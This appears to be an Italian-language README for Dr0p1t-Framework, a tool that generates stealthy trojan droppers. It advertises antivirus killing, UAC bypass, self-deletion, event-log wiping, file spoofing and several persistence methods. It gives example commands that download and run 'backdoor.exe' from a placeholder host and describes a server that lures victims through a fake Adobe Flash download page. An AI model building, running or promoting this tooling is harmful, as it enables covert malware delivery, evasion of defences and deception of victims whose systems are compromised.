Non più mantenuto (Aspetta la prossima versione)

Dr0p1t-Framework

Hai mai sentito parlare dei trojan dropper? In breve, un dropper è un tipo di malware che scarica altri malware e Dr0p1t ti dà la possibilità di creare un dropper furtivo che bypassa la maggior parte degli AV e ha molti trucchi (fidati :D) ;)

Caratteristiche

+ Proprietà dell'eseguibile generato:

La dimensione dell'eseguibile è minore rispetto ad altri dropper generati allo stesso modo.
Scarica l'eseguibile sul sistema di destinazione e lo esegue in modo silenzioso.
Funzione di autodistruzione in modo che il dropper si uccida e cancelli dopo aver terminato il suo lavoro.
Evita le analisi forensi del disco facendo sì che tutti i file creati dal dropper vengano anche cancellati, e il dropper pulisce il proprio contenuto prima della cancellazione.
Cancella il registro eventi dopo il termine.

+ Proprietà del framework:

Funziona con Windows, Linux e ora ha supporto OSX (Grazie a @sm4sh3r)
Funzionalità Dr0p1t-Server (beta) così ora puoi lavorare dal browser Vedi come lavorare con Dr0p1t-Server
Dr0p1t-server ha un'opzione scam (beta) Vedi come lavorare con Dr0p1t-Server

+ Moduli:

Trova e uccidi l'antivirus prima di eseguire il malware.
Capacità di disabilitare l'UAC.
Capacità di eseguire il malware come amministratore.
Spoof completo: modifica l'icona e l'estensione del file in qualsiasi cosa tu voglia.
Supporto per file ZIP: ora puoi comprimere il tuo eseguibile in un file zip prima di caricarlo.
Esecuzione di un file personalizzato (batch|powershell|vbs) che hai scelto prima di eseguire l'eseguibile.
Nell'esecuzione di script powershell, può bypassare la policy di esecuzione.
Utilizzo di UPX per comprimere il dropper dopo la sua creazione.

+Moduli di persistenza:

Aggiunta dell'eseguibile all'avvio dopo il download.
Aggiunta dell'eseguibile allo scheduler delle attività dopo il download (l'UAC non conta).
Aggiunta del tuo file al profilo utente di powershell, così il tuo file verrà scaricato ed eseguito ogni volta che powershell.exe viene avviato, se non esiste.

Screenshot

Su Windows

Vedi altro

Su Linux (Kali linux)

Vedi altro

Su OSX

Ancora non testato completamente! Servono contributori e tester 😄

Usage: Dr0p1t.py Malware_Url [Options]

options:
-h, --help      show this help message and exit
-s              Add your malware to startup (Persistence)
-t              Add your malware to task scheduler (Persistence)
-a              Add your link to powershell user profile (Persistence)
-k              Kill antivirus process before running your malware.
-b              Run this batch script before running your malware. Check scripts folder
-p              Run this powershell script before running your malware. Check scripts folder
-v              Run this vbs script before running your malware. Check scripts folder
--runas         Bypass UAC and run your malware as admin
--spoof         Spoof the final file to an extension you choose.
--zip           Tell Dr0p1t that the malware in the link is compressed as zip
--upx           Use UPX to compress the final file.
--nouac         Try to disable UAC on victim device
-i              Use icon to the final file. Check icons folder.
--noclearevent  Tell the framework to not clear the event logs on target machine after finish.
--nocompile     Tell the framework to not compile the final file.
--only32        Download your malware for 32 bit devices only
--only64        Download your malware for 64 bit devices only
-q              Stay quite ( no banner )
-u              Check for updates
-nd             Display less output information

Esempi

./Dr0p1t.py Malware_Url [Options]
./Dr0p1t.py https://test.com/backdoor.exe -s -t -a -k --runas --upx
./Dr0p1t.py https://test.com/backdoor.exe -k -b block_online_scan.bat --only32
./Dr0p1t.py https://test.com/backdoor.exe -s -t -k -p Enable_PSRemoting.ps1 --runas
./Dr0p1t.py https://test.com/backdoor.zip -t -k --nouac -i flash.ico --spoof pdf --zip

Prerequisiti

Python 2 o Python 3.

La versione consigliata per Python 2 è 2.7.x, la versione consigliata per Python 3 è 3.5.x e non usare 3.6 perché non è ancora supportata da PyInstaller

Dipendenze necessarie per Linux

apt
Altre saranno installate dal file install.sh

Nota: Devi avere accesso root

Dipendenze necessarie per Windows

pip
Moduli in windows_requirements.txt

Installazione

C'è una lista qui di tutti i video ufficiali per installare e usare Dr0p1t Playlist

Su Linux

git clone https://github.com/D4Vinci/Dr0p1t-Framework.git
chmod 777 -R Dr0p1t-Framework
cd Dr0p1t-Framework
sudo chmod +x install.sh
./install.sh
python Dr0p1t.py

Su Windows (Dopo aver scaricato lo ZIP e averlo decompresso)

cd Dr0p1t-Framework-master
python -m pip install -r windows_requirements.txt
python Dr0p1t.py

Nota: in python 2.7 non hai pip, quindi installalo prima con lo script get-pip.py [Cerca su Google]

Testato su:

Kali Linux Rolling
Ubuntu 14.04-16.04 LTS
Windows 10/8.1/8

Lavorare con Dr0p1t-Server

Nota: Il server è ancora in versione beta e ha molte funzionalità da aggiungere e anche un design migliore [Serve un designer per contribuire :D]

Prerequisiti

Connessione internet stabile.
Porta 5000 non utilizzata e firewall configurato per non bloccare le connessioni su di essa

Installazione ed esecuzione del server

Su Linux e Windows è lo stesso: dopo aver installato Dr0p1t seguendo i passaggi sopra menzionati, installa i moduli in server_requirements.txt usando pip come:

python -m pip install -r server_requirements.txt

Ora eseguiamo lo script del server:

python Dr0p1t_Server.py

Dopo aver eseguito lo script del server, inizierà ad ascoltare tutte le connessioni in arrivo sulla porta 5000 usando flask.

Ora per utilizzare il server dal tuo dispositivo, apri nel browser 127.0.0.1:5000 o [Il tuo IP]:5000.

Per aprirlo da altri dispositivi in LAN apri [Il tuo IP Locale]:5000 e per altri dispositivi in WAN apri [Il tuo IP Globale]:5000, ma assicurati prima di aver configurato il tuo router per inoltrare le connessioni sulla porta 5000 a te.

Dopo aver aperto la pagina del server, vedrai un sito web semplice con un design semplice che ti chiede i dati necessari Vedi screenshot del server

Poi invia i dati, saranno verificati attraverso alcuni processi, poi verrà generato il file exe e sarai reindirizzato a una pagina che ti indica il link scam.

Dopo aver inserito il link, vedrai uno scam per scaricare il dropper, che per default è la pagina di download di Adobe Flash. Per sostituire lo scam con il tuo, sostituisci il contenuto del file "Scam.html" con il tuo, ma ricorda le variabili (non rimuoverle).